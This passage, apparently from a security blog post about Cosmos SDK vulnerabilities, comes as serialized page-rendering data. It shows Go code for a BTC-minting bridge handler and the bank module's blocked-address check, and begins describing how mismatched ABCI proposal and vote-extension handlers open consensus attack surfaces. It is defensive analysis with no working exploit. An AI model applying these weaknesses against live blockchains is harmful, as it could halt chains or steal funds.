events",{"type":24,"tag":158,"props":83349,"children":83350},{"style":171},[83351],{"type":29,"value":79453},{"type":24,"tag":158,"props":83353,"children":83354},{"style":188},[83355],{"type":29,"value":347},{"type":24,"tag":158,"props":83357,"children":83358},{"style":171},[83359],{"type":29,"value":83360},"AssetsLockedEvents",{"type":24,"tag":158,"props":83362,"children":83363},{"style":188},[83364],{"type":29,"value":235},{"type":24,"tag":158,"props":83366,"children":83367},{"class":160,"line":1635},[83368,83372,83376],{"type":24,"tag":158,"props":83369,"children":83370},{"style":188},[83371],{"type":29,"value":723},{"type":24,"tag":158,"props":83373,"children":83374},{"style":171},[83375],{"type":29,"value":16098},{"type":24,"tag":158,"props":83377,"children":83378},{"style":188},[83379],{"type":29,"value":210},{"type":24,"tag":158,"props":83381,"children":83382},{"class":160,"line":1644},[83383],{"type":24,"tag":158,"props":83384,"children":83385},{"style":222},[83386],{"type":29,"value":21583},{"type":24,"tag":158,"props":83388,"children":83389},{"class":160,"line":1652},[83390,83394,83398,83402,83407,83411,83415,83420],{"type":24,"tag":158,"props":83391,"children":83392},{"style":1914},[83393],{"type":29,"value":4702},{"type":24,"tag":158,"props":83395,"children":83396},{"style":177},[83397],{"type":29,"value":4707},{"type":24,"tag":158,"props":83399,"children":83400},{"style":188},[83401],{"type":29,"value":191},{"type":24,"tag":158,"props":83403,"children":83404},{"style":177},[83405],{"type":29,"value":83406},"event",{"type":24,"tag":158,"props":83408,"children":83409},{"style":222},[83410],{"type":29,"value":77694},{"type":24,"tag":158,"props":83412,"children":83413},{"style":1914},[83414],{"type":29,"value":78677},{"type":24,"tag":158,"props":83416,"children":83417},{"style":177},[83418],{"type":29,"value":83419}," events",{"type":24,"tag":158,"props":83421,"children":83422},{"style":188},[83423],{"type":29,"value":210},{"type":24,"tag":158,"props":83425,"children":83426},{"class":160,"line":1704},[83427,83432,83436,83440,83444,83448,83452,83457,83461,83465,83469,83474],{"type":24,"tag":158,"props":83428,"children":83429},{"style":177},[83430],{"type":29,"value":83431}," recipient",{"type":24,"tag":158,"props":83433,"children":83434},{"style":188},[83435],{"type":29,"value":191},{"type":24,"tag":158,"props":83437,"children":83438},{"style":177},[83439],{"type":29,"value":49691},{"type":24,"tag":158,"props":83441,"children":83442},{"style":222},[83443],{"type":29,"value":77694},{"type":24,"tag":158,"props":83445,"children":83446},{"style":177},[83447],{"type":29,"value":79919},{"type":24,"tag":158,"props":83449,"children":83450},{"style":188},[83451],{"type":29,"value":347},{"type":24,"tag":158,"props":83453,"children":83454},{"style":496},[83455],{"type":29,"value":83456},"AccAddressFromBech32",{"type":24,"tag":158,"props":83458,"children":83459},{"style":188},[83460],{"type":29,"value":504},{"type":24,"tag":158,"props":83462,"children":83463},{"style":177},[83464],{"type":29,"value":83406},{"type":24,"tag":158,"props":83466,"children":83467},{"style":188},[83468],{"type":29,"value":347},{"type":24,"tag":158,"props":83470,"children":83471},{"style":177},[83472],{"type":29,"value":83473},"Recipient",{"type":24,"tag":158,"props":83475,"children":83476},{"style":188},[83477],{"type":29,"value":2125},{"type":24,"tag":158,"props":83479,"children":83480},{"class":160,"line":1713},[83481,83485,83489,83493,83497],{"type":24,"tag":158,"props":83482,"children":83483},{"style":1914},[83484],{"type":29,"value":4936},{"type":24,"tag":158,"props":83486,"children":83487},{"style":177},[83488],{"type":29,"value":49792},{"type":24,"tag":158,"props":83490,"children":83491},{"style":222},[83492],{"type":29,"value":65661},{"type":24,"tag":158,"props":83494,"children":83495},{"style":165},[83496],{"type":29,"value":83196},{"type":24,"tag":158,"props":83498,"children":83499},{"style":188},[83500],{"type":29,"value":210},{"type":24,"tag":158,"props":83502,"children":83503},{"class":160,"line":1731},[83504,83508,83513,83517,83521,83525,83530,83534,83538],{"type":24,"tag":158,"props":83505,"children":83506},{"style":1914},[83507],{"type":29,"value":80354},{"type":24,"tag":158,"props":83509,"children":83510},{"style":177},[83511],{"type":29,"value":83512}," fmt",{"type":24,"tag":158,"props":83514,"children":83515},{"style":188},[83516],{"type":29,"value":347},{"type":24,"tag":158,"props":83518,"children":83519},{"style":496},[83520],{"type":29,"value":83229},{"type":24,"tag":158,"props":83522,"children":83523},{"style":188},[83524],{"type":29,"value":504},{"type":24,"tag":158,"props":83526,"children":83527},{"style":1108},[83528],{"type":29,"value":83529},"\"failed to parse recipient address: %w\"",{"type":24,"tag":158,"props":83531,"children":83532},{"style":188},[83533],{"type":29,"value":191},{"type":24,"tag":158,"props":83535,"children":83536},{"style":177},[83537],{"type":29,"value":49691},{"type":24,"tag":158,"props":83539,"children":83540},{"style":188},[83541],{"type":29,"value":2125},{"type":24,"tag":158,"props":83543,"children":83544},{"class":160,"line":5485},[83545],{"type":24,"tag":158,"props":83546,"children":83547},{"style":188},[83548],{"type":29,"value":5010},{"type":24,"tag":158,"props":83550,"children":83551},{"class":160,"line":5493},[83552],{"type":24,"tag":158,"props":83553,"children":83554},{"emptyLinePlaceholder":16},[83555],{"type":29,"value":481},{"type":24,"tag":158,"props":83557,"children":83558},{"class":160,"line":5553},[83559,83563,83568,83572,83577,83581,83585,83589,83594,83598,83603],{"type":24,"tag":158,"props":83560,"children":83561},{"style":1914},[83562],{"type":29,"value":4936},{"type":24,"tag":158,"props":83564,"children":83565},{"style":177},[83566],{"type":29,"value":83567}," bytes",{"type":24,"tag":158,"props":83569,"children":83570},{"style":188},[83571],{"type":29,"value":347},{"type":24,"tag":158,"props":83573,"children":83574},{"style":496},[83575],{"type":29,"value":83576},"Equal",{"type":24,"tag":158,"props":83578,"children":83579},{"style":188},[83580],{"type":29,"value":504},{"type":24,"tag":158,"props":83582,"children":83583},{"style":177},[83584],{"type":29,"value":83406},{"type":24,"tag":158,"props":83586,"children":83587},{"style":188},[83588],{"type":29,"value":347},{"type":24,"tag":158,"props":83590,"children":83591},{"style":496},[83592],{"type":29,"value":83593},"TokenBytes",{"type":24,"tag":158,"props":83595,"children":83596},{"style":188},[83597],{"type":29,"value":19615},{"type":24,"tag":158,"props":83599,"children":83600},{"style":177},[83601],{"type":29,"value":83602},"sourceBTCToken",{"type":24,"tag":158,"props":83604,"children":83605},{"style":188},[83606],{"type":29,"value":16038},{"type":24,"tag":158,"props":83608,"children":83609},{"class":160,"line":10636},[83610,83615,83619,83623,83627,83632,83636,83640,83644,83648,83652,83656,83660,83664],{"type":24,"tag":158,"props":83611,"children":83612},{"style":177},[83613],{"type":29,"value":83614}," err",{"type":24,"tag":158,"props":83616,"children":83617},{"style":222},[83618],{"type":29,"value":462},{"type":24,"tag":158,"props":83620,"children":83621},{"style":177},[83622],{"type":29,"value":82534},{"type":24,"tag":158,"props":83624,"children":83625},{"style":188},[83626],{"type":29,"value":347},{"type":24,"tag":158,"props":83628,"children":83629},{"style":496},[83630],{"type":29,"value":83631},"mintBTC",{"type":24,"tag":158,"props":83633,"children":83634},{"style":188},[83635],{"type":29,"value":504},{"type":24,"tag":158,"props":83637,"children":83638},{"style":177},[83639],{"type":29,"value":21524},{"type":24,"tag":158,"props":83641,"children":83642},{"style":188},[83643],{"type":29,"value":191},{"type":24,"tag":158,"props":83645,"children":83646},{"style":177},[83647],{"type":29,"value":82929},{"type":24,"tag":158,"props":83649,"children":83650},{"style":188},[83651],{"type":29,"value":191},{"type":24,"tag":158,"props":83653,"children":83654},{"style":177},[83655],{"type":29,"value":83406},{"type":24,"tag":158,"props":83657,"children":83658},{"style":188},[83659],{"type":29,"value":347},{"type":24,"tag":158,"props":83661,"children":83662},{"style":177},[83663],{"type":29,"value":80333},{"type":24,"tag":158,"props":83665,"children":83666},{"style":188},[83667],{"type":29,"value":2125},{"type":24,"tag":158,"props":83669,"children":83670},{"class":160,"line":10652},[83671,83675,83679,83683,83687],{"type":24,"tag":158,"props":83672,"children":83673},{"style":1914},[83674],{"type":29,"value":60074},{"type":24,"tag":158,"props":83676,"children":83677},{"style":177},[83678],{"type":29,"value":49792},{"type":24,"tag":158,"props":83680,"children":83681},{"style":222},[83682],{"type":29,"value":65661},{"type":24,"tag":158,"props":83684,"children":83685},{"style":165},[83686],{"type":29,"value":83196},{"type":24,"tag":158,"props":83688,"children":83689},{"style":188},[83690],{"type":29,"value":210},{"type":24,"tag":158,"props":83692,"children":83693},{"class":160,"line":10696},[83694,83698,83702,83706,83710],{"type":24,"tag":158,"props":83695,"children":83696},{"style":1914},[83697],{"type":29,"value":62002},{"type":24,"tag":158,"props":83699,"children":83700},{"style":177},[83701],{"type":29,"value":83512},{"type":24,"tag":158,"props":83703,"children":83704},{"style":188},[83705],{"type":29,"value":347},{"type":24,"tag":158,"props":83707,"children":83708},{"style":496},[83709],{"type":29,"value":83229},{"type":24,"tag":158,"props":83711,"children":83712},{"style":188},[83713],{"type":29,"value":2156},{"type":24,"tag":158,"props":83715,"children":83716},{"class":160,"line":10801},[83717,83722],{"type":24,"tag":158,"props":83718,"children":83719},{"style":1108},[83720],{"type":29,"value":83721}," \"failed to mint BTC for event %v: %w\"",{"type":24,"tag":158,"props":83723,"children":83724},{"style":188},[83725],{"type":29,"value":235},{"type":24,"tag":158,"props":83727,"children":83728},{"class":160,"line":24754},[83729,83734,83738,83743],{"type":24,"tag":158,"props":83730,"children":83731},{"style":177},[83732],{"type":29,"value":83733}," event",{"type":24,"tag":158,"props":83735,"children":83736},{"style":188},[83737],{"type":29,"value":347},{"type":24,"tag":158,"props":83739,"children":83740},{"style":177},[83741],{"type":29,"value":83742},"Sequence",{"type":24,"tag":158,"props":83744,"children":83745},{"style":188},[83746],{"type":29,"value":235},{"type":24,"tag":158,"props":83748,"children":83749},{"class":160,"line":24789},[83750,83755],{"type":24,"tag":158,"props":83751,"children":83752},{"style":177},[83753],{"type":29,"value":83754}," err",{"type":24,"tag":158,"props":83756,"children":83757},{"style":188},[83758],{"type":29,"value":235},{"type":24,"tag":158,"props":83760,"children":83761},{"class":160,"line":24797},[83762],{"type":24,"tag":158,"props":83763,"children":83764},{"style":188},[83765],{"type":29,"value":83766}," )\n",{"type":24,"tag":158,"props":83768,"children":83769},{"class":160,"line":24805},[83770],{"type":24,"tag":158,"props":83771,"children":83772},{"style":188},[83773],{"type":29,"value":60158},{"type":24,"tag":158,"props":83775,"children":83776},{"class":160,"line":24814},[83777,83781,83785],{"type":24,"tag":158,"props":83778,"children":83779},{"style":188},[83780],{"type":29,"value":4973},{"type":24,"tag":158,"props":83782,"children":83783},{"style":1914},[83784],{"type":29,"value":4978},{"type":24,"tag":158,"props":83786,"children":83787},{"style":188},[83788],{"type":29,"value":210},{"type":24,"tag":158,"props":83790,"children":83791},{"class":160,"line":24856},[83792],{"type":24,"tag":158,"props":83793,"children":83794},{"style":222},[83795],{"type":29,"value":83796}," ...\n",{"type":24,"tag":158,"props":83798,"children":83799},{"class":160,"line":24889},[83800],{"type":24,"tag":158,"props":83801,"children":83802},{"style":188},[83803],{"type":29,"value":5010},{"type":24,"tag":158,"props":83805,"children":83806},{"class":160,"line":24897},[83807],{"type":24,"tag":158,"props":83808,"children":83809},{"style":188},[83810],{"type":29,"value":3967},{"type":24,"tag":158,"props":83812,"children":83813},{"class":160,"line":24905},[83814],{"type":24,"tag":158,"props":83815,"children":83816},{"style":222},[83817],{"type":29,"value":21583},{"type":24,"tag":158,"props":83819,"children":83820},{"class":160,"line":24914},[83821],{"type":24,"tag":158,"props":83822,"children":83823},{"style":188},[83824],{"type":29,"value":307},{"type":24,"tag":158,"props":83826,"children":83827},{"class":160,"line":24990},[83828],{"type":24,"tag":158,"props":83829,"children":83830},{"emptyLinePlaceholder":16},[83831],{"type":29,"value":481},{"type":24,"tag":158,"props":83833,"children":83834},{"class":160,"line":25023},[83835,83839,83843,83847,83851,83855,83859],{"type":24,"tag":158,"props":83836,"children":83837},{"style":165},[83838],{"type":29,"value":77578},{"type":24,"tag":158,"props":83840,"children":83841},{"style":188},[83842],{"type":29,"value":2262},{"type":24,"tag":158,"props":83844,"children":83845},{"style":177},[83846],{"type":29,"value":82406},{"type":24,"tag":158,"props":83848,"children":83849},{"style":171},[83850],{"type":29,"value":81223},{"type":24,"tag":158,"props":83852,"children":83853},{"style":188},[83854],{"type":29,"value":723},{"type":24,"tag":158,"props":83856,"children":83857},{"style":496},[83858],{"type":29,"value":83631},{"type":24,"tag":158,"props":83860,"children":83861},{"style":188},[83862],{"type":29,"value":2156},{"type":24,"tag":158,"props":83864,"children":83865},{"class":160,"line":25031},[83866,83870,83874,83878,83882],{"type":24,"tag":158,"props":83867,"children":83868},{"style":177},[83869],{"type":29,"value":21467},{"type":24,"tag":158,"props":83871,"children":83872},{"style":171},[83873],{"type":29,"value":79919},{"type":24,"tag":158,"props":83875,"children":83876},{"style":188},[83877],{"type":29,"value":347},{"type":24,"tag":158,"props":83879,"children":83880},{"style":171},[83881],{"type":29,"value":77627},{"type":24,"tag":158,"props":83883,"children":83884},{"style":188},[83885],{"type":29,"value":235},{"type":24,"tag":158,"props":83887,"children":83888},{"class":160,"line":25039},[83889,83894,83898,83902,83907],{"type":24,"tag":158,"props":83890,"children":83891},{"style":177},[83892],{"type":29,"value":83893}," recipient",{"type":24,"tag":158,"props":83895,"children":83896},{"style":171},[83897],{"type":29,"value":79919},{"type":24,"tag":158,"props":83899,"children":83900},{"style":188},[83901],{"type":29,"value":347},{"type":24,"tag":158,"props":83903,"children":83904},{"style":171},[83905],{"type":29,"value":83906},"AccAddress",{"type":24,"tag":158,"props":83908,"children":83909},{"style":188},[83910],{"type":29,"value":235},{"type":24,"tag":158,"props":83912,"children":83913},{"class":160,"line":25076},[83914,83918,83923,83927,83932],{"type":24,"tag":158,"props":83915,"children":83916},{"style":177},[83917],{"type":29,"value":62856},{"type":24,"tag":158,"props":83919,"children":83920},{"style":171},[83921],{"type":29,"value":83922}," math",{"type":24,"tag":158,"props":83924,"children":83925},{"style":188},[83926],{"type":29,"value":347},{"type":24,"tag":158,"props":83928,"children":83929},{"style":171},[83930],{"type":29,"value":83931},"Int",{"type":24,"tag":158,"props":83933,"children":83934},{"style":188},[83935],{"type":29,"value":235},{"type":24,"tag":158,"props":83937,"children":83938},{"class":160,"line":25089},[83939,83943,83947],{"type":24,"tag":158,"props":83940,"children":83941},{"style":188},[83942],{"type":29,"value":723},{"type":24,"tag":158,"props":83944,"children":83945},{"style":171},[83946],{"type":29,"value":16098},{"type":24,"tag":158,"props":83948,"children":83949},{"style":188},[83950],{"type":29,"value":210},{"type":24,"tag":158,"props":83952,"children":83953},{"class":160,"line":25102},[83954],{"type":24,"tag":158,"props":83955,"children":83956},{"style":222},[83957],{"type":29,"value":21583},{"type":24,"tag":158,"props":83959,"children":83960},{"class":160,"line":25115},[83961,83966,83970,83974,83978,83983,83987,83991],{"type":24,"tag":158,"props":83962,"children":83963},{"style":177},[83964],{"type":29,"value":83965}," err",{"type":24,"tag":158,"props":83967,"children":83968},{"style":222},[83969],{"type":29,"value":462},{"type":24,"tag":158,"props":83971,"children":83972},{"style":177},[83973],{"type":29,"value":82534},{"type":24,"tag":158,"props":83975,"children":83976},{"style":188},[83977],{"type":29,"value":347},{"type":24,"tag":158,"props":83979,"children":83980},{"style":177},[83981],{"type":29,"value":83982},"bankKeeper",{"type":24,"tag":158,"props":83984,"children":83985},{"style":188},[83986],{"type":29,"value":347},{"type":24,"tag":158,"props":83988,"children":83989},{"style":496},[83990],{"type":29,"value":82921},{"type":24,"tag":158,"props":83992,"children":83993},{"style":188},[83994],{"type":29,"value":2156},{"type":24,"tag":158,"props":83996,"children":83997},{"class":160,"line":25169},[83998,84002],{"type":24,"tag":158,"props":83999,"children":84000},{"style":177},[84001],{"type":29,"value":27443},{"type":24,"tag":158,"props":84003,"children":84004},{"style":188},[84005],{"type":29,"value":235},{"type":24,"tag":158,"props":84007,"children":84008},{"class":160,"line":25178},[84009,84014,84018,84023],{"type":24,"tag":158,"props":84010,"children":84011},{"style":177},[84012],{"type":29,"value":84013}," types",{"type":24,"tag":158,"props":84015,"children":84016},{"style":188},[84017],{"type":29,"value":347},{"type":24,"tag":158,"props":84019,"children":84020},{"style":177},[84021],{"type":29,"value":84022},"ModuleName",{"type":24,"tag":158,"props":84024,"children":84025},{"style":188},[84026],{"type":29,"value":235},{"type":24,"tag":158,"props":84028,"children":84029},{"class":160,"line":33542},[84030,84034],{"type":24,"tag":158,"props":84031,"children":84032},{"style":177},[84033],{"type":29,"value":83431},{"type":24,"tag":158,"props":84035,"children":84036},{"style":188},[84037],{"type":29,"value":235},{"type":24,"tag":158,"props":84039,"children":84040},{"class":160,"line":33563},[84041,84046],{"type":24,"tag":158,"props":84042,"children":84043},{"style":177},[84044],{"type":29,"value":84045}," coins",{"type":24,"tag":158,"props":84047,"children":84048},{"style":188},[84049],{"type":29,"value":235},{"type":24,"tag":158,"props":84051,"children":84052},{"class":160,"line":82229},[84053],{"type":24,"tag":158,"props":84054,"children":84055},{"style":188},[84056],{"type":29,"value":25175},{"type":24,"tag":158,"props":84058,"children":84059},{"class":160,"line":82242},[84060,84064,84068,84072,84076],{"type":24,"tag":158,"props":84061,"children":84062},{"style":1914},[84063],{"type":29,"value":3160},{"type":24,"tag":158,"props":84065,"children":84066},{"style":177},[84067],{"type":29,"value":49792},{"type":24,"tag":158,"props":84069,"children":84070},{"style":222},[84071],{"type":29,"value":65661},{"type":24,"tag":158,"props":84073,"children":84074},{"style":165},[84075],{"type":29,"value":83196},{"type":24,"tag":158,"props":84077,"children":84078},{"style":188},[84079],{"type":29,"value":210},{"type":24,"tag":158,"props":84081,"children":84082},{"class":160,"line":82250},[84083,84087,84091,84095,84099,84103,84108,84112,84116],{"type":24,"tag":158,"props":84084,"children":84085},{"style":1914},[84086],{"type":29,"value":16980},{"type":24,"tag":158,"props":84088,"children":84089},{"style":177},[84090],{"type":29,"value":83512},{"type":24,"tag":158,"props":84092,"children":84093},{"style":188},[84094],{"type":29,"value":347},{"type":24,"tag":158,"props":84096,"children":84097},{"style":496},[84098],{"type":29,"value":83229},{"type":24,"tag":158,"props":84100,"children":84101},{"style":188},[84102],{"type":29,"value":504},{"type":24,"tag":158,"props":84104,"children":84105},{"style":1108},[84106],{"type":29,"value":84107},"\"failed to send coins: %w\"",{"type":24,"tag":158,"props":84109,"children":84110},{"style":188},[84111],{"type":29,"value":191},{"type":24,"tag":158,"props":84113,"children":84114},{"style":177},[84115],{"type":29,"value":49691},{"type":24,"tag":158,"props":84117,"children":84118},{"style":188},[84119],{"type":29,"value":2125},{"type":24,"tag":158,"props":84121,"children":84122},{"class":160,"line":82258},[84123],{"type":24,"tag":158,"props":84124,"children":84125},{"style":188},[84126],{"type":29,"value":3967},{"type":24,"tag":158,"props":84128,"children":84129},{"class":160,"line":82266},[84130],{"type":24,"tag":158,"props":84131,"children":84132},{"style":222},[84133],{"type":29,"value":21583},{"type":24,"tag":158,"props":84135,"children":84136},{"class":160,"line":82306},[84137],{"type":24,"tag":158,"props":84138,"children":84139},{"style":188},[84140],{"type":29,"value":307},{"type":24,"tag":147,"props":84142,"children":84144},{"code":84143,"language":77442,"meta":7,"className":77443,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[84145],{"type":24,"tag":154,"props":84146,"children":84147},{"__ignoreMap":7},[84148,84180,84259,84274,84282,84313,84371,84378,84385],{"type":24,"tag":158,"props":84149,"children":84150},{"class":160,"line":161},[84151,84155,84159,84163,84168,84172,84176],{"type":24,"tag":158,"props":84152,"children":84153},{"style":165},[84154],{"type":29,"value":77578},{"type":24,"tag":158,"props":84156,"children":84157},{"style":188},[84158],{"type":29,"value":2262},{"type":24,"tag":158,"props":84160,"children":84161},{"style":177},[84162],{"type":29,"value":82406},{"type":24,"tag":158,"props":84164,"children":84165},{"style":171},[84166],{"type":29,"value":84167},"BaseKeeper",{"type":24,"tag":158,"props":84169,"children":84170},{"style":188},[84171],{"type":29,"value":723},{"type":24,"tag":158,"props":84173,"children":84174},{"style":496},[84175],{"type":29,"value":82921},{"type":24,"tag":158,"props":84177,"children":84178},{"style":188},[84179],{"type":29,"value":2156},{"type":24,"tag":158,"props":84181,"children":84182},{"class":160,"line":213},[84183,84187,84191,84195,84199,84203,84208,84212,84216,84221,84225,84229,84233,84237,84242,84246,84250,84255],{"type":24,"tag":158,"props":84184,"children":84185},{"style":177},[84186],{"type":29,"value":27100},{"type":24,"tag":158,"props":84188,"children":84189},{"style":171},[84190],{"type":29,"value":77618},{"type":24,"tag":158,"props":84192,"children":84193},{"style":188},[84194],{"type":29,"value":347},{"type":24,"tag":158,"props":84196,"children":84197},{"style":171},[84198],{"type":29,"value":77627},{"type":24,"tag":158,"props":84200,"children":84201},{"style":188},[84202],{"type":29,"value":191},{"type":24,"tag":158,"props":84204,"children":84205},{"style":177},[84206],{"type":29,"value":84207},"senderModule",{"type":24,"tag":158,"props":84209,"children":84210},{"style":171},[84211],{"type":29,"value":37293},{"type":24,"tag":158,"props":84213,"children":84214},{"style":188},[84215],{"type":29,"value":191},{"type":24,"tag":158,"props":84217,"children":84218},{"style":177},[84219],{"type":29,"value":84220},"recipientAddr",{"type":24,"tag":158,"props":84222,"children":84223},{"style":171},[84224],{"type":29,"value":79919},{"type":24,"tag":158,"props":84226,"children":84227},{"style":188},[84228],{"type":29,"value":347},{"type":24,"tag":158,"props":84230,"children":84231},{"style":171},[84232],{"type":29,"value":83906},{"type":24,"tag":158,"props":84234,"children":84235},{"style":188},[84236],{"type":29,"value":191},{"type":24,"tag":158,"props":84238,"children":84239},{"style":177},[84240],{"type":29,"value":84241},"amt",{"type":24,"tag":158,"props":84243,"children":84244},{"style":171},[84245],{"type":29,"value":79919},{"type":24,"tag":158,"props":84247,"children":84248},{"style":188},[84249],{"type":29,"value":347},{"type":24,"tag":158,"props":84251,"children":84252},{"style":171},[84253],{"type":29,"value":84254},"Coins",{"type":24,"tag":158,"props":84256,"children":84257},{"style":188},[84258],{"type":29,"value":235},{"type":24,"tag":158,"props":84260,"children":84261},{"class":160,"line":238},[84262,84266,84270],{"type":24,"tag":158,"props":84263,"children":84264},{"style":188},[84265],{"type":29,"value":723},{"type":24,"tag":158,"props":84267,"children":84268},{"style":171},[84269],{"type":29,"value":16098},{"type":24,"tag":158,"props":84271,"children":84272},{"style":188},[84273],{"type":29,"value":210},{"type":24,"tag":158,"props":84275,"children":84276},{"class":160,"line":259},[84277],{"type":24,"tag":158,"props":84278,"children":84279},{"style":222},[84280],{"type":29,"value":84281}," ...\n",{"type":24,"tag":158,"props":84283,"children":84284},{"class":160,"line":280},[84285,84289,84293,84297,84301,84305,84309],{"type":24,"tag":158,"props":84286,"children":84287},{"style":1914},[84288],{"type":29,"value":17024},{"type":24,"tag":158,"props":84290,"children":84291},{"style":177},[84292],{"type":29,"value":82534},{"type":24,"tag":158,"props":84294,"children":84295},{"style":188},[84296],{"type":29,"value":347},{"type":24,"tag":158,"props":84298,"children":84299},{"style":496},[84300],{"type":29,"value":82937},{"type":24,"tag":158,"props":84302,"children":84303},{"style":188},[84304],{"type":29,"value":504},{"type":24,"tag":158,"props":84306,"children":84307},{"style":177},[84308],{"type":29,"value":84220},{"type":24,"tag":158,"props":84310,"children":84311},{"style":188},[84312],{"type":29,"value":16038},{"type":24,"tag":158,"props":84314,"children":84315},{"class":160,"line":301},[84316,84320,84325,84329,84333,84337,84341,84345,84350,84354,84359,84363,84367],{"type":24,"tag":158,"props":84317,"children":84318},{"style":1914},[84319],{"type":29,"value":40463},{"type":24,"tag":158,"props":84321,"children":84322},{"style":177},[84323],{"type":29,"value":84324}," errorsmod",{"type":24,"tag":158,"props":84326,"children":84327},{"style":188},[84328],{"type":29,"value":347},{"type":24,"tag":158,"props":84330,"children":84331},{"style":496},[84332],{"type":29,"value":82188},{"type":24,"tag":158,"props":84334,"children":84335},{"style":188},[84336],{"type":29,"value":504},{"type":24,"tag":158,"props":84338,"children":84339},{"style":177},[84340],{"type":29,"value":81850},{"type":24,"tag":158,"props":84342,"children":84343},{"style":188},[84344],{"type":29,"value":347},{"type":24,"tag":158,"props":84346,"children":84347},{"style":177},[84348],{"type":29,"value":84349},"ErrUnauthorized",{"type":24,"tag":158,"props":84351,"children":84352},{"style":188},[84353],{"type":29,"value":191},{"type":24,"tag":158,"props":84355,"children":84356},{"style":1108},[84357],{"type":29,"value":84358},"\"%s is not allowed to receive funds\"",{"type":24,"tag":158,"props":84360,"children":84361},{"style":188},[84362],{"type":29,"value":191},{"type":24,"tag":158,"props":84364,"children":84365},{"style":177},[84366],{"type":29,"value":84220},{"type":24,"tag":158,"props":84368,"children":84369},{"style":188},[84370],{"type":29,"value":2125},{"type":24,"tag":158,"props":84372,"children":84373},{"class":160,"line":626},[84374],{"type":24,"tag":158,"props":84375,"children":84376},{"style":188},[84377],{"type":29,"value":382},{"type":24,"tag":158,"props":84379,"children":84380},{"class":160,"line":668},[84381],{"type":24,"tag":158,"props":84382,"children":84383},{"style":222},[84384],{"type":29,"value":84281},{"type":24,"tag":158,"props":84386,"children":84387},{"class":160,"line":676},[84388],{"type":24,"tag":158,"props":84389,"children":84390},{"style":188},[84391],{"type":29,"value":307},{"type":24,"tag":25,"props":84393,"children":84394},{},[84395,84397,84404],{"type":29,"value":84396},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":24,"tag":101,"props":84398,"children":84401},{"href":84399,"rel":84400},"https://hackerone.com/reports/3018307",[105],[84402],{"type":29,"value":84403},"improper decimal handling in the group module",{"type":29,"value":347},{"type":24,"tag":59,"props":84406,"children":84408},{"id":84407},"same-same-but-different",[84409],{"type":29,"value":84410},"Same, Same... But Different",{"type":24,"tag":25,"props":84412,"children":84413},{},[84414,84416,84422,84423,84429,84430,84436,84437,84443],{"type":29,"value":84415},"Cosmos exposes several consensus-level interfaces, such as ",{"type":24,"tag":154,"props":84417,"children":84419},{"className":84418},[],[84420],{"type":29,"value":84421},"PrepareProposal",{"type":29,"value":191},{"type":24,"tag":154,"props":84424,"children":84426},{"className":84425},[],[84427],{"type":29,"value":84428},"ProcessProposal",{"type":29,"value":191},{"type":24,"tag":154,"props":84431,"children":84433},{"className":84432},[],[84434],{"type":29,"value":84435},"ExtendVote",{"type":29,"value":8136},{"type":24,"tag":154,"props":84438,"children":84440},{"className":84439},[],[84441],{"type":29,"value":84442},"VerifyVoteExtension",{"type":29,"value":84444},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":24,"tag":25,"props":84446,"children":84447},{},[84448],{"type":29,"value":84449},"Two of the best-known attack surfaces are",{"type":24,"tag":1786,"props":84451,"children":84452},{},[84453,84482],{"type":24,"tag":1790,"props":84454,"children":84455},{},[84456,84461,84462,84467,84469,84474,84475,84480],{"type":24,"tag":154,"props":84457,"children":84459},{"className":84458},[],[84460],{"type":29,"value":84421},{"type":29,"value":2262},{"type":24,"tag":154,"props":84463,"children":84465},{"className":84464},[],[84466],{"type":29,"value":84435},{"type":29,"value":84468},") outputs being rejected due to ",{"type":24,"tag":154,"props":84470,"children":84472},{"className":84471},[],[84473],{"type":29,"value":84428},{"type":29,"value":2262},{"type":24,"tag":154,"props":84476,"children":84478},{"className":84477},[],[84479],{"type":29,"value":84442},{"type":29,"value":84481},") over-validating, resulting in liveness failures.",{"type":24,"tag":1790,"props":84483,"children":84484},{},[84485,84487,84492,84493,84498,84500,84505,84506,84511],{"type":29,"value":84486},"Malicious proposals and vote extensions not created through the ",{"type":24,"tag":154,"props":84488,"children":84490},{"className":84489},[],[84491],{"type":29,"value":84421},{"type":29,"value":2262},{"type":24,"tag":154,"props":84494,"children":84496},{"className":84495},[],[84497],{"type":29,"value":84435},{"type":29,"value":84499},") are accepted due to ",{"type":24,"tag":154,"props":84501,"children":84503},{"className":84502},[],[84504],{"type":29,"value":84428},{"type":29,"value":2262},{"type":24,"tag":154,"props":84507,"children":84509},{"className":84508},[],[84510],{"type":29,"value":84442},{"type":29,"value":84512},") under-validating.",{"type":24,"tag":25,"props":84514,"children":84515},{},[84516],{"type":29,"value":84517},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":24,"tag":25,"props":84519,"children":84520},{},[84521,84523,84529,84531,84536],{"type":29,"value":84522},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":24,"tag":154,"props":84524,"children":84526},{"className":84525},[],[84527],{"type":29,"value":84528},"VoteExtensions",{"type":29,"value":84530}," within ",{"type":24,"tag":154,"props":84532,"children":84534},{"className":84533},[],[84535],{"type":29,"value":84421},{"type":29,"value":84537},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":24,"tag":25,"props":84539,"children":84540},{},[84541,84543,84548,84550,84555],{"type":29,"value":84542},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":24,"tag":154,"props":84544,"children":84546},{"className":84545},[],[84547],{"type":29,"value":84435},{"type":29,"value":84549}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":24,"tag":154,"props":84551,"children":84553},{"className":84552},[],[84554],{"type":29,"value":84442},{"type":29,"value":84556},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":24,"tag":25,"props":84558,"children":84559},{},[84560,84562,84567],{"type":29,"value":84561},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":24,"tag":154,"props":84563,"children":84565},{"className":84564},[],[84566],{"type":29,"value":84442},{"type":29,"value":84568}," 